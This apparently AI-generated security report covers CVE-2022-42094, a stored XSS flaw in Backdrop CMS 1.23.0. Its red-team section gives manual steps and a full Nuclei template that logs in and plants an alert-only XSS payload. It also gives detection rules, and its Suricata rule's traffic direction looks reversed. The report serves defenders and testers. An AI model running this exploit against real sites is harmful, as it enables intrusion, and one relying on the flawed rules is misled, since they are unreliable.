CVE-2022-42094

Executive Summary

CVE-2022-42094 is a stored cross-site scripting (XSS) vulnerability identified in Backdrop CMS version 1.23.0. The flaw resides in the 'Card' content type, where an authenticated user with sufficient privileges can inject arbitrary JavaScript code via the body field. When the malicious card is viewed by another user, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or site defacement. The vulnerability is classified as medium severity with a CVSS v3.1 score of 4.8, and a public proof-of-concept (PoC) exists in the form of a Nuclei template. No official patch has been released by the vendor, making manual remediation essential.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network – the vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): High – an attacker must have an authenticated account with permission to create or edit Card content.
• User Interaction (UI): Required – a victim must view the malicious Card.
• Scope (S): Changed – the impact extends beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can affect all users viewing the crafted Card, including administrators.

Deep Dive & Mechanics

The vulnerability is a classic stored cross-site scripting (XSS) flaw in the Card content type of Backdrop CMS 1.23.0. The application fails to properly sanitize user-supplied input in the body[und][0][value] field when creating or editing a Card. An attacker with the ability to create Cards can inject arbitrary HTML and JavaScript, such as <img src=x onerror=alert(document.domain)>. This payload is stored in the database and rendered without sanitization when the Card is viewed.

The attack flow:

1. Attacker logs in with valid credentials.
2. Attacker navigates to /node/add/card and submits a Card with malicious JavaScript in the body field.
3. The payload is stored in the database.
4. When any user (including administrators) views the crafted Card, the JavaScript executes in their browser.

The vulnerability is particularly dangerous because it can be used to steal session cookies, perform actions on behalf of the victim, or deface the site. The lack of output encoding or input validation on the body field is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (Backdrop CMS 1.23.0): The body field is rendered without sanitization. In the template or theme file, the body content is output directly using <?php print $node->body[LANGUAGE_NONE][0]['value']; ?> or similar, without passing through a filtering function like check_markup() or filter_xss().

Patched Code (Hypothetical): A patched version would sanitize the body output using Backdrop's built-in text filtering system. For example:

<?php print check_markup($node->body[LANGUAGE_NONE][0]['value'], 'filtered_html'); ?>

Or, if full HTML is required, the input should be sanitized with filter_xss() to strip dangerous tags and attributes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account with permission to create Card content.
• Target running Backdrop CMS 1.23.0.

Exploitation Steps:

1. Log in to the Backdrop CMS site.
2. Navigate to /node/add/card.
3. Fill in the title and body fields. In the body, inject the XSS payload:

   <img src=x onerror=alert(document.domain)>
   

4. Set the text format to "Full HTML" (if available) or ensure the format does not filter the payload.
5. Save the Card.
6. Share the Card URL with the victim or wait for an administrator to view it.

Nuclei Template (Provided): The following Nuclei template automates the exploitation:

id: CVE-2022-42094

info:
  name: Backdrop CMS version 1.23.0 - Stored Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the 'Card' content.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/backdrop/backdrop/releases/tag/1.23.0
    - https://github.com/bypazs/CVE-2022-42094
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42094
    - https://backdropcms.org
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2022-42094
    cwe-id: CWE-79
    epss-score: 0.38028
    epss-percentile: 0.97235
    cpe: cpe:2.3:a:backdropcms:backdrop:1.23.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: backdropcms
    product: backdrop
    shodan-query: cpe:"cpe:2.3:a:backdropcms:backdrop"
  tags: cve,cve2022,xss,cms,backdrop,authenticated,intrusive,backdropcms,vuln

http:
  - raw:
      - |
        GET /?q=user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
      - |
        GET /?q=node/add/card HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=node/add/card HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWEcZgRB4detkrGaY

        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="title"

        {{randstr}}
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="files[field_image_und_0]"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="field_image[und][0][fid]"

        0
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="field_image[und][0][display]"

        1
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="changed"


        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="form_build_id"

        {{form_id_2}}
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="form_token"

        {{form_token}}
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="form_id"

        card_node_form
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="body[und][0][value]"

        <img src=x onerror=alert(document.domain)>

        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="body[und][0][format]"

        full_html
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="status"

        1
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="name"

        {{name}}
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="date[date]"

        2023-04-13
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="date[time]"

        21:49:36
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="path[auto]"

        1
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="comment"

        1
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="additional_settings__active_tab"


        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="op"

        Save
        ------WebKitFormBoundaryWEcZgRB4detkrGaY--

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <img src="x" onerror="alert(document.domain)" />
          - Backdrop CMS
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: form_id_1
        group: 1
        regex:
          - name="form_build_id" value="(.*)"
        internal: true

      - type: regex
        name: name
        group: 1
        regex:
          - name="name" value="(.*?)"
        internal: true

      - type: regex
        name: form_id_2
        group: 1
        regex:
          - name="form_build_id" value="(.*)"
        internal: true

      - type: regex
        name: form_token
        group: 1
        regex:
          - name="form_token" value="(.*)"
        internal: true
# digest: 4b0a00483046022100bffe24177aff0c732f7da1494dc6c0e3789c49cdbe204f297439247230a8f78302210089fad1262a9e86467060b790de5e8bf3752fd7d480329cac21f088c093f4723b:922c64590222798bb761d5b6d8e72950

Blue Team

Detection:

• Monitor for creation of Card nodes with suspicious body content containing event handlers (e.g., onerror, onload, onclick).
• Review server logs for POST requests to /node/add/card with unusual payloads.
• Use WAF rules to block common XSS patterns in the body field.

Hunting:

• Query the database for Card nodes where the body contains <script> tags or event handler attributes.
• Search for recently created Cards by non-admin users.

Mitigation:

• Restrict the "Full HTML" text format to trusted roles only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads.
• Apply input validation and output encoding manually if patching is not possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /node/add/card with multipart form data containing XSS payloads.
  • HTTP responses containing <img src="x" onerror="alert(document.domain)" /> or similar.

• Host IOCs:

  • Database entries in the node table with body_value containing <img src=x onerror=... or <script> tags.
  • Log entries showing creation of Card nodes by users who normally do not create such content.

• File IOCs:

  • No specific file-based IOCs; the vulnerability is purely data-driven.

Detection Engineering

YARA Rule

rule CVE_2022_42094_Backdrop_XSS {
    meta:
        description = "Detects stored XSS payloads in Backdrop CMS Card content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-42094"
    strings:
        $xss1 = "<img src=x onerror=" ascii wide
        $xss2 = "<script>" ascii wide
        $xss3 = "onerror=" ascii wide
        $xss4 = "onload=" ascii wide
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Backdrop CMS Stored XSS via Card Content
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects creation of Card nodes with XSS payloads in Backdrop CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/?q=node/add/card'
        cs-body|contains: 
            - '<img src=x onerror='
            - '<script>'
            - 'onerror=alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Cards by trusted users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-42094 Backdrop CMS Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/?q=node/add/card"; http_uri; content:"<img src=x onerror="; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Backdrop CMS to a version later than 1.23.0 if a patched release is available. Check the official Backdrop CMS repository for updates.
2. Restrict Text Formats: Limit the "Full HTML" text format to trusted administrator roles only. Use "Filtered HTML" for other roles, which strips dangerous tags.
3. Apply WAF Rules: Deploy a Web Application Firewall with rules to block common XSS patterns in POST requests to /node/add/card.

Long-Term Fixes:

• Input Validation: Implement server-side validation to sanitize the body field using Backdrop's filter_xss() function.
• Output Encoding: Ensure all user-supplied content is properly encoded when rendered in templates.
• Security Hardening: Regularly update Backdrop CMS and its modules. Conduct periodic security audits.

Workaround: If patching is not immediately possible, manually edit the theme template to apply check_markup() with a safe text format before outputting the body content.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.

{/* [Security Hash: 6DB6C49626AD55685DD0AB99] */}